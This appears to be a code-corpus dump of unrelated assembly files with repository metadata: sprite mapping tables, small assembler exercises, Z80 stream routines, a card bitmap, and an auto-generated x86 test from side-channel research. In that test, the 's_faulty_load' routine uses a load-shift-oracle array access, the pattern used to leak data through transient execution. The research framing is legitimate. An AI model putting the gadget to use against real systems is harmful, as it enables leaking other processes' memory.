dc.b $EE, 1, 0, 6, 6
dc.b $FE, $E, 0, 8, $F6
dc.b $FE, 0, 0, $14, $EE
byte_21512: dc.b 3 ; running 2-2
dc.b $EE, 9, 0, 0, $EE
dc.b $EE, 1, 0, 6, 6
dc.b $FE, $E, 0, 8, $F6
byte_21522: dc.b 4 ; running 2-3
dc.b $EE, 9, 0, 0, $EE
dc.b $EE, 1, 0, 6, 6
dc.b $FE, $E, 0, 8, $F6
dc.b $FE, 0, 0, $14, $EE
byte_21537: dc.b 3 ; running 2-4
dc.b $EE, 9, 0, 0, $EE
dc.b $EE, 1, 0, 6, 6
dc.b $FE, $E, 0, 8, $F6
byte_21547: dc.b 2 ; running 3-1
dc.b $F4, 6, 0, 0, $EE
dc.b $F4, $B, 0, 6, $FE
byte_21552: dc.b 2 ; running 3-2
dc.b $F4, 6, 0, 0, $EE
dc.b $F4, $B, 0, 6, $FE
byte_2155D: dc.b 2 ; running 3-3
dc.b $F4, 6, 0, 0, $EE
dc.b $F4, $B, 0, 6, $FE
byte_21568: dc.b 2 ; running 3-4
dc.b $F4, 6, 0, 0, $EE
dc.b $F4, $B, 0, 6, $FE
byte_21573: dc.b 4 ; running 4-1
dc.b $FA, 6, 0, 0, $EE
dc.b $F2, 4, 0, 6, $EE
dc.b $EA, $B, 0, 8, $FE
dc.b $A, 0, 0, $14, $FE
byte_21588: dc.b 2 ; running 4-2
dc.b $F2, 7, 0, 0, $EE
dc.b $EA, $B, 0, 8, $FE
byte_21593: dc.b 4 ; running 4-3
dc.b $FA, 6, 0, 0, $EE
dc.b $F2, 4, 0, 6, $EE
dc.b $EA, $B, 0, 8, $FE
dc.b $A, 0, 0, $14, $FE
byte_215A8: dc.b 2 ; running 4-4
dc.b $F2, 7, 0, 0, $EE
dc.b $EA, $B, 0, 8, $FE
byte_215B3: dc.b 1 ; rolling 1
dc.b $F0, $F, 0, 0, $F0
byte_215B9: dc.b 1 ; rolling 2
dc.b $F0, $F, 0, 0, $F0
byte_215BF: dc.b 1 ; rolling 3
dc.b $F0, $F, 0, 0, $F0
byte_215C5: dc.b 1 ; rolling 4
dc.b $F0, $F, 0, 0, $F0
byte_215CB: dc.b 1 ; rolling 5
dc.b $F0, $F, 0, 0, $F0
byte_215D1: dc.b 2 ; warped 1 (unused)
dc.b $F4, $E, 0, 0, $EC
dc.b $F4, 2, 0, $C, $C
byte_215DC: dc.b 1 ; warped 2 (unused)
dc.b $F0, $F, 0, 0, $F0
byte_215E2: dc.b 2 ; warped 3 (unused)
dc.b $EC, $B, 0, 0, $F4
dc.b $C, 8, 0, $C, $F4
byte_215ED: dc.b 1 ; warped 4 (unused)
dc.b $F0, $F, 0, 0, $F0
byte_215F3: dc.b 2 ; stopping 1
dc.b $ED, 9, 0, 0, $F0
dc.b $FD, $E, 0, 6, $F0
byte_215FE: dc.b 4 ; stopping 2
dc.b $ED, 9, 0, 0, $F0
dc.b $FD, $D, 0, 6, $F0
dc.b $D, 4, 0, $E, 0
dc.b 5, 0, 0, $10, $E8
byte_21613: dc.b 4 ; ducking
dc.b $F4, 4, 0, 0, $FC
dc.b $FC, $D, 0, 2, $F4
dc.b $C, 8, 0, $A, $F4
dc.b 4, 0, 0, $D, $EC
byte_21628: dc.b 3 ; balancing 1
dc.b $EC, 8, 8, 0, $E8
dc.b $F4, 2, 8, 3, 0
dc.b $F4, $F, 8, 6, $E0
byte_21638: dc.b 3 ; balancing 2
dc.b $EC, $E, 8, 0, $E8
dc.b 4, $D, 8, $C, $E0
dc.b $C, 0, $18, $14, 0
byte_21648: dc.b 3 ; spinning 1 (LZ)
dc.b $F4, $D, 0, 0, $FC
dc.b $FC, 5, 0, 8, $EC
dc.b 4, 8, 0, $C, $FC
byte_21658: dc.b 2 ; spinning 2 (LZ)
dc.b $F4, $A, 0, 0, $E8
dc.b $F4, $A, 8, 0, 0
byte_21663: dc.b 3 ; spinning 3 (LZ)
dc.b $F4, $D, 0, 0, $E4
dc.b $FC, 0, 0, 8, 4
dc.b 4, $C, 0, 9, $EC
byte_21673: dc.b 3 ; spinning 4 (LZ)
dc.b $F4, $D, 0, 0, $FC
dc.b $FC, 5, 0, 8, $EC
dc.b 4, 8, 0, $C, $FC
byte_21683: dc.b 3 ; bouncing
dc.b $E8, $B, 0, 0, $F0
dc.b 8, 4, 0, $C, $F8
dc.b $10, 0, 0, $E, $F8
byte_21693: dc.b 4 ; hanging 1 (LZ)
dc.b $F8, $E, 0, 0, $E8
dc.b 0, 5, 0, $C, 8
dc.b $F8, 0, 0, $10, 8
dc.b $F0, 0, 0, $11, $F8
byte_216A8: dc.b 4 ; hanging 2 (LZ)
dc.b $F8, $E, 0, 0, $E8
dc.b 0, 5, 0, $C, 8
dc.b $F8, 0, 0, $10, 8
dc.b $F0, 0, 0, $11, $F8
byte_216BD: dc.b 5 ; celebration leap 1 (unused)
dc.b $E8, $A, 0, 0, $F4
dc.b $F0, 1, 0, 9, $C
dc.b 0, 9, 0, $B, $F4
dc.b $10, 4, 0, $11, $F4
dc.b 0, 0, 0, $13, $EC
byte_216D7: dc.b 5 ; celebration leap 2 (unused)
dc.b $E8, $A, 0, 0, $F4
dc.b $E8, 1, 0, 9, $C
dc.b 0, 9, 0, $B, $F4
dc.b $10, 4, 0, $11, $F4
dc.b 0, 0, 0, $13, $EC
byte_216F1: dc.b 2 ; pushing 1
dc.b $ED, $A, 0, 0, $F3
dc.b 5, $D, 0, 9, $EB
byte_216FC: dc.b 3 ; pushing 2
dc.b $EC, $A, 0, 0, $F3
dc.b 4, 8, 0, 9, $F3
dc.b $C, 4, 0, $C, $F3
byte_2170C: dc.b 2 ; pushing 3
dc.b $ED, $A, 0, 0, $F3
dc.b 5, $D, 0, 9, $EB
byte_21717: dc.b 3 ; pushing 4
dc.b $EC, $A, 0, 0, $F3
dc.b 4, 8, 0, 9, $F3
dc.b $C, 4, 0, $C, $F3
byte_21727: dc.b 2 ; surfing or sliding (unused)
dc.b $EC, 9, 0, 0, $F0
dc.b $FC, $E, 0, 6, $F0
byte_21732: dc.b 3 ; collecting bubble (unused)
dc.b $EC, $A, 0, 0, $F0
dc.b 4, 5, 0, 9, $F8
dc.b $E4, 0, 0, $D, $F8
byte_21742: dc.b 3 ; death 1
dc.b $E8, $D, 0, 0, $EC
dc.b $E8, 1, 0, 8, $C
dc.b $F8, $B, 0, $A, $F4
byte_21752: dc.b 5 ; drowning
dc.b $E8, $D, 0, 0, $EC
dc.b $E8, 1, 0, 8, $C
dc.b $F8, 9, 0, $A, $F4
dc.b 8, $C, 0, $10, $F4
dc.b $10, 0, 0, $14, $F4
byte_2176C: dc.b 5 ; death 2
dc.b $E8, $D, 0, 0, $EC
dc.b $E8, 1, 0, 8, $C
dc.b $F8, 9, 0, $A, $F4
dc.b 8, $C, 0, $10, $F4
dc.b $10, 0, 0, $14, $F4
byte_21786: dc.b 2 ; shrinking 1 (unused)
dc.b $EC, 8, 0, 0, $F0
dc.b $F4, $F, 0, 3, $F0
byte_21791: dc.b 3 ; shrinking 2 (unused)
dc.b $EC, 8, 0, 0, $F0
dc.b $F4, $E, 0, 3, $F0
dc.b $C, 8, 0, $F, $F8
byte_217A1: dc.b 1 ; shrinking 3 (unused)
dc.b $F0, $B, 0, 0, $F4
byte_217A7: dc.b 1 ; shrinking 4 (unused)
dc.b $F4, 6, 0, 0, $F8
byte_217AD: dc.b 1 ; shrinking 5 (unused)
dc.b $F8, 1, 0, 0, $FC
byte_217B3: dc.b 3 ; injury
dc.b $F4, $D, 8, 0, $E4
dc.b $FC, 5, 8, 8, 4
dc.b 4, 8, 8, $C, $EC
byte_217C3: dc.b 3 ; spinning 5 (LZ)
dc.b $F4, $D, 8, 0, $FC
dc.b $FC, 0, 8, 8, $F4
dc.b 4, $C, 8, 9, $F4
byte_217D3: dc.b 3 ; spinning 6 (LZ)
dc.b $F0, $E, 0, 0, $EC
dc.b $F8, 1, 0, $C, $C
dc.b 8, $C, 0, $E, $F4
byte_217E3: dc.b 3 ; collecting bubble (LZ)
dc.b $EB, 9, 0, 0, $F4
dc.b $FB, $E, 0, 6, $EC
dc.b 3, 1, 0, $12, $C
byte_217F3: dc.b 2 ; water slide (LZ)
dc.b $F0, $F, 0, 0, $EC
dc.b $F8, 2, 0, $10, $C
even
| 30.669192
| 77
| 0.534953
|
4ba4d8eacd731cb78a89e5acc21e012cce784001
| 106
|
asm
|
Assembly
|
Src/Ant8/Tests/aa8/basic/e_inc_5.asm
|
geoffthorpe/ant-architecture
|
d85952e3050c352d5d715d9749171a335e6768f7
|
[
"BSD-3-Clause"
] | null | null | null |
Src/Ant8/Tests/aa8/basic/e_inc_5.asm
|
geoffthorpe/ant-architecture
|
d85952e3050c352d5d715d9749171a335e6768f7
|
[
"BSD-3-Clause"
] | null | null | null |
Src/Ant8/Tests/aa8/basic/e_inc_5.asm
|
geoffthorpe/ant-architecture
|
d85952e3050c352d5d715d9749171a335e6768f7
|
[
"BSD-3-Clause"
] | 1
|
2020-07-15T04:09:05.000Z
|
2020-07-15T04:09:05.000Z
|
# $Id: e_inc_5.asm,v 1.1 2001/03/14 16:57:29 ellard Exp $
#@ tests for illegal format of inc.
inc 1, r2
| 21.2
| 57
| 0.660377
|
71f50c1fdb0a320c2873fdfc3cd7b4ac06a76406
| 212
|
asm
|
Assembly
|
EserciziMips/3.3-Valori.asm
|
AntoAndGar/MIPS
|
776bbf3ca1d9a3184f469a11b5230d4d03622826
|
[
"MIT"
] | null | null | null |
EserciziMips/3.3-Valori.asm
|
AntoAndGar/MIPS
|
776bbf3ca1d9a3184f469a11b5230d4d03622826
|
[
"MIT"
] | null | null | null |
EserciziMips/3.3-Valori.asm
|
AntoAndGar/MIPS
|
776bbf3ca1d9a3184f469a11b5230d4d03622826
|
[
"MIT"
] | null | null | null |
.globl main
main:
lb $t0,Valore1
lb $t1,Valore2
add $t2,$t0,$t1
sb $t2,risb
sh $t2,rish
sw $t2,risw
li $v0,10
syscall
.data
Valore1: .byte 100
Valore2: .byte 250
risb: .byte 0
rish: .half 0
risw: .word 0
| 12.470588
| 18
| 0.660377
|
39094442907a9fff38665be12bd06fa50296051f
| 1,347
|
asm
|
Assembly
|
software/obsolete/new-rom/stream.asm
|
Noah1989/micro-21
|
f574c3dd089ee93737c8babc6f5eddf85e66987e
|
[
"MIT"
] | 1
|
2019-05-17T14:43:17.000Z
|
2019-05-17T14:43:17.000Z
|
software/obsolete/new-rom/stream.asm
|
Noah1989/loopmicro
|
4d9a49b0aeee1d58aa712c7509cbb46d32477e16
|
[
"MIT"
] | null | null | null |
software/obsolete/new-rom/stream.asm
|
Noah1989/loopmicro
|
4d9a49b0aeee1d58aa712c7509cbb46d32477e16
|
[
"MIT"
] | null | null | null |
public stream_IX_seek_BCDE
public stream_IX_get_byte_A
public stream_IX_put_byte_A
public stream_IX_read_block_DE_len_BC
public stream_IX_read_block_DE_len_BC_bytewise
public stream_IX_write_block_DE_len_BC
public stream_IX_write_block_DE_len_BC_bytewise
public stream_IX_skip_bytes_BC
include "stream.inc"
stream_IX_get_byte_A:
LD L, (IX+stream_get_byte_A)
LD H, (IX+stream_get_byte_A+1)
JP (HL)
stream_IX_put_byte_A:
LD L, (IX+stream_put_byte_A)
LD H, (IX+stream_put_byte_A+1)
JP (HL)
stream_IX_read_block_DE_len_BC:
LD L, (IX+stream_read_block_DE_len_BC)
LD H, (IX+stream_read_block_DE_len_BC+1)
JP (HL)
stream_IX_write_block_DE_len_BC:
LD L, (IX+stream_write_block_DE_len_BC)
LD H, (IX+stream_write_block_DE_len_BC+1)
JP (HL)
stream_IX_skip_bytes_BC:
LD L, (IX+stream_skip_bytes_BC)
LD H, (IX+stream_skip_bytes_BC+1)
JP (HL)
stream_IX_seek_BCDE:
LD L, (IX+stream_seek_BCDE)
LD H, (IX+stream_seek_BCDE+1)
JP (HL)
stream_IX_read_block_DE_len_BC_bytewise:
PUSH BC
PUSH DE
CALL stream_IX_get_byte_A
POP DE
POP BC
LD (DE), A
INC DE
DEC BC
LD A, B
OR A, C
JR NZ, stream_IX_read_block_DE_len_BC_bytewise
RET
stream_IX_write_block_DE_len_BC_bytewise:
LD A, (DE)
INC DE
PUSH BC
PUSH DE
CALL stream_IX_put_byte_A
POP DE
POP BC
DEC BC
LD A, B
OR A, C
JR NZ, stream_IX_write_block_DE_len_BC_bytewise
RET
| 19.521739
| 48
| 0.801039
|
d1ce89accc0fc23befba9f068de2f78e7f9b9d04
| 5,218
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xa0.log_21829_126.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xa0.log_21829_126.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xa0.log_21829_126.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r8
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x1693b, %rsi
lea addresses_A_ht+0x14883, %rdi
clflush (%rsi)
clflush (%rdi)
and $23417, %rax
mov $72, %rcx
rep movsl
sub $30867, %r8
lea addresses_UC_ht+0x15efb, %r10
nop
nop
nop
nop
cmp $34989, %r12
mov $0x6162636465666768, %rcx
movq %rcx, %xmm0
movups %xmm0, (%r10)
nop
nop
nop
nop
sub $48705, %rsi
lea addresses_WT_ht+0x1e17f, %rsi
nop
nop
nop
nop
nop
xor %rax, %rax
mov $0x6162636465666768, %r10
movq %r10, %xmm0
movups %xmm0, (%rsi)
and $60169, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %rax
push %rbp
push %rcx
push %rsi
// Store
mov $0x3821ba000000016d, %rsi
sub $40677, %rcx
movb $0x51, (%rsi)
nop
inc %rsi
// Store
lea addresses_normal+0x13bbb, %rax
nop
nop
nop
nop
nop
add $57223, %rbp
mov $0x5152535455565758, %rsi
movq %rsi, (%rax)
nop
nop
inc %r10
// Faulty Load
lea addresses_normal+0x13bbb, %rsi
nop
nop
nop
sub $40653, %rax
mov (%rsi), %r10d
lea oracles, %rax
and $0xff, %r10
shlq $12, %r10
mov (%rax,%r10,1), %r10
pop %rsi
pop %rcx
pop %rbp
pop %rax
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_normal', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 1, 'type': 'addresses_NC', 'AVXalign': False, 'size': 1}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_normal', 'AVXalign': False, 'size': 8}}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_normal', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 7, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 16}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 2, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 16}}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
| 44.220339
| 2,999
| 0.661748
|
0000453cca0a483303c1115fe22fe6668da4ee30
| 6,265
|
asm
|
Assembly
|
Appl/Art/Decks/GeoDeck/LMHeartK.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 504
|
2018-11-18T03:35:53.000Z
|
2022-03-29T01:02:51.000Z
|
Appl/Art/Decks/GeoDeck/LMHeartK.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 96
|
2018-11-19T21:06:50.000Z
|
2022-03-06T10:26:48.000Z
|
Appl/Art/Decks/GeoDeck/LMHeartK.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 73
|
2018-11-19T20:46:53.000Z
|
2022-03-29T00:59:26.000Z
|
LMHeartK label byte
word C_BLACK
Bitmap <71,100,0,BMF_MONO>
db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00
db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00
db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00
db 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00
db 0xbc, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0e,
0xe0
db 0xbc, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1b,
0xb0
db 0x98, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15,
0x50
db 0x99, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1a,
0xb0
db 0x9b, 0x80, 0x00, 0x04, 0x21, 0x08, 0x40, 0x0d,
0x60
db 0x9f, 0x00, 0x00, 0x0c, 0xd6, 0xb5, 0x68, 0x06,
0xc0
db 0x9e, 0x00, 0x00, 0x07, 0xaf, 0x7b, 0xc8, 0x03,
0x80
db 0x9c, 0x00, 0x00, 0x05, 0xd6, 0xb5, 0x58, 0x01,
0x00
db 0x9e, 0x0f, 0xff, 0xfc, 0x8c, 0x62, 0x7f, 0xe0,
0x00
db 0x9f, 0x08, 0x00, 0x02, 0x84, 0x42, 0x8c, 0x20,
0x00
db 0x9b, 0x88, 0xf1, 0xe3, 0x11, 0x11, 0x92, 0x54,
0x00
db 0x99, 0xc9, 0xaa, 0xb1, 0xbb, 0xbb, 0x0b, 0xab,
0x00
db 0x98, 0xeb, 0x55, 0x59, 0xee, 0xef, 0xfa, 0xab,
0x80
db 0xbc, 0xfa, 0xaa, 0xa9, 0xff, 0xfe, 0x0a, 0xaa,
0x60
db 0xbc, 0xfb, 0x55, 0x59, 0x41, 0x57, 0xf2, 0xaa,
0x70
db 0x80, 0x0a, 0xaa, 0xaa, 0x80, 0xaa, 0x0a, 0xd4,
0x70
db 0x80, 0x09, 0x55, 0x52, 0x80, 0x55, 0xfa, 0x3f,
0xf0
db 0x80, 0x09, 0xaa, 0xb2, 0xbb, 0xd5, 0x0b, 0x03,
0xe0
db 0x80, 0x08, 0xd5, 0x62, 0xee, 0x55, 0x12, 0xff,
0x80
db 0x80, 0x08, 0x6a, 0xc6, 0x88, 0x55, 0x0d, 0x03,
0x00
db 0x80, 0x08, 0x35, 0x88, 0x90, 0x55, 0x01, 0xff,
0x80
db 0x80, 0x08, 0x1b, 0x0a, 0x90, 0x55, 0x01, 0x07,
0x80
db 0x80, 0x08, 0x0e, 0x06, 0x9c, 0x55, 0x01, 0x07,
0x00
db 0x80, 0x08, 0x04, 0x02, 0xa2, 0x55, 0x02, 0x8b,
0x00
db 0x80, 0x08, 0x00, 0x02, 0xdd, 0x2a, 0x82, 0x8b,
0x80
db 0x80, 0x08, 0x00, 0x06, 0x80, 0x6a, 0x85, 0xdd,
0x80
db 0x80, 0x08, 0x00, 0x09, 0x2a, 0x95, 0x4d, 0xdd,
0xc0
db 0x80, 0x08, 0x00, 0x0b, 0x55, 0x95, 0x57, 0x77,
0xc0
db 0x80, 0x08, 0x00, 0x08, 0xa2, 0xea, 0xea, 0xab,
0xc0
db 0x80, 0x08, 0x00, 0x3e, 0x45, 0x35, 0x62, 0x23,
0xc0
db 0x80, 0x08, 0x01, 0xc5, 0x8a, 0xd2, 0xb8, 0x01,
0xc0
db 0x80, 0x08, 0x07, 0x52, 0x16, 0xa0, 0x46, 0x01,
0xc0
db 0x80, 0x08, 0x3f, 0x02, 0x29, 0x4a, 0x80, 0x03,
0xc0
db 0x80, 0x08, 0x79, 0xaa, 0x56, 0xc0, 0x80, 0x03,
0x80
db 0x80, 0x09, 0xc3, 0x81, 0xb5, 0xa9, 0x00, 0x07,
0x80
db 0x80, 0x0b, 0x9f, 0xd5, 0x4a, 0x82, 0x00, 0x07,
0x00
db 0x80, 0x0e, 0x3f, 0x61, 0xb4, 0x92, 0x00, 0x0f,
0x00
db 0x80, 0x0c, 0xfa, 0xaa, 0xa9, 0x44, 0x00, 0x1e,
0x00
db 0x80, 0x09, 0xdf, 0xf0, 0x91, 0x08, 0x03, 0xfc,
0x00
db 0x80, 0x0b, 0xe4, 0x09, 0xe1, 0x28, 0x0e, 0xb8,
0x00
db 0x80, 0x0e, 0xa8, 0xff, 0x81, 0x08, 0x15, 0x60,
0x00
db 0x80, 0x0d, 0x68, 0x00, 0x42, 0x50, 0x2a, 0xa0,
0x00
db 0x80, 0x0a, 0xa8, 0x1f, 0x82, 0x10, 0x55, 0x60,
0x00
db 0x80, 0x0d, 0x68, 0x00, 0x7e, 0x90, 0xaa, 0xa0,
0x00
db 0x80, 0x0a, 0xa8, 0x1f, 0xc2, 0x10, 0xd5, 0x60,
0x00
db 0x80, 0x0d, 0x66, 0x01, 0xda, 0xff, 0xba, 0xa0,
0x00
db 0x80, 0x0a, 0xbb, 0xfe, 0xa7, 0x00, 0xcd, 0x60,
0x00
db 0x80, 0x0d, 0x56, 0x10, 0x87, 0xf0, 0x2a, 0xa0,
0x00
db 0x80, 0x0a, 0xaa, 0x12, 0xfc, 0x00, 0x2d, 0x60,
0x00
db 0x80, 0x0d, 0x54, 0x10, 0x83, 0xf0, 0x2a, 0xa0,
0x00
db 0x80, 0x0a, 0xa8, 0x14, 0x84, 0x00, 0x2d, 0x60,
0x00
db 0x80, 0x0d, 0x50, 0x21, 0x03, 0xfe, 0x2a, 0xe0,
0x00
db 0x80, 0x0a, 0xe0, 0x29, 0x0f, 0x20, 0x4f, 0xa0,
0x00
db 0x80, 0x0f, 0x80, 0x21, 0x12, 0x1f, 0xf7, 0x20,
0x00
db 0x80, 0x10, 0x00, 0x45, 0x2a, 0xaa, 0xbe, 0x60,
0x00
db 0x80, 0x20, 0x00, 0x92, 0x5b, 0x0d, 0xf8, 0xe0,
0x00
db 0x80, 0x40, 0x00, 0x82, 0xa5, 0x57, 0xf3, 0xa0,
0x00
db 0x80, 0x40, 0x01, 0x2b, 0x5b, 0x03, 0x87, 0x20,
0x00
db 0x80, 0x80, 0x02, 0x06, 0xd4, 0xab, 0x3c, 0x20,
0x00
db 0x80, 0x80, 0x02, 0xa5, 0x28, 0x81, 0xf8, 0x20,
0x00
db 0x81, 0x00, 0xc4, 0x0a, 0xd0, 0x95, 0xc0, 0x20,
0x00
db 0x81, 0x00, 0x3a, 0x96, 0xa3, 0x47, 0x00, 0x20,
0x00
db 0x81, 0x88, 0x8d, 0x59, 0x44, 0xf8, 0x00, 0x20,
0x00
db 0x81, 0xaa, 0xae, 0xae, 0x8a, 0x20, 0x00, 0x20,
0x00
db 0x81, 0xdd, 0xd5, 0x53, 0x55, 0xa0, 0x00, 0x20,
0x00
db 0x81, 0x77, 0x65, 0x52, 0xa9, 0x20, 0x00, 0x20,
0x00
db 0x81, 0x77, 0x42, 0xac, 0x02, 0xc0, 0x00, 0x20,
0x00
db 0x80, 0xa2, 0x82, 0xa9, 0x76, 0x80, 0x00, 0x20,
0x00
db 0x80, 0xa2, 0x81, 0x54, 0x8a, 0x80, 0x40, 0x20,
0x00
db 0x80, 0x41, 0x01, 0x54, 0x72, 0xc0, 0xe0, 0x20,
0x00
db 0x80, 0x41, 0x01, 0x54, 0x12, 0xa1, 0xb0, 0x20,
0x00
db 0x80, 0xff, 0x01, 0x54, 0x12, 0x23, 0x58, 0x20,
0x00
db 0x80, 0x81, 0x61, 0x54, 0x22, 0xc6, 0xac, 0x20,
0x00
db 0x80, 0x7e, 0x91, 0x54, 0xee, 0x8d, 0x56, 0x20,
0x00
db 0x80, 0x81, 0xa1, 0x57, 0xba, 0x9a, 0xab, 0x20,
0x00
db 0x83, 0xf8, 0xbf, 0x54, 0x02, 0x95, 0x55, 0x20,
0x00
db 0x84, 0x56, 0xa0, 0xaa, 0x02, 0xaa, 0xaa, 0xa0,
0x00
db 0x84, 0xaa, 0x9f, 0xd5, 0x05, 0x35, 0x55, 0xbe,
0x78
db 0x84, 0xaa, 0xa0, 0xff, 0xff, 0x2a, 0xaa, 0xbe,
0x78
db 0x83, 0xaa, 0xbf, 0xee, 0xef, 0x35, 0x55, 0xae,
0x30
db 0x80, 0xab, 0xa1, 0xbb, 0xbb, 0x1a, 0xab, 0x27,
0x30
db 0x80, 0x5c, 0x93, 0x11, 0x11, 0x8f, 0x1e, 0x23,
0xb0
db 0x80, 0x08, 0x62, 0x84, 0x42, 0x80, 0x00, 0x21,
0xf0
db 0x80, 0x0f, 0xfc, 0x8c, 0x62, 0x7f, 0xff, 0xe0,
0xf0
db 0x81, 0x00, 0x05, 0xde, 0xf7, 0xf0, 0x00, 0x00,
0x70
db 0x83, 0x80, 0x07, 0xff, 0xff, 0xfc, 0x00, 0x00,
0xf0
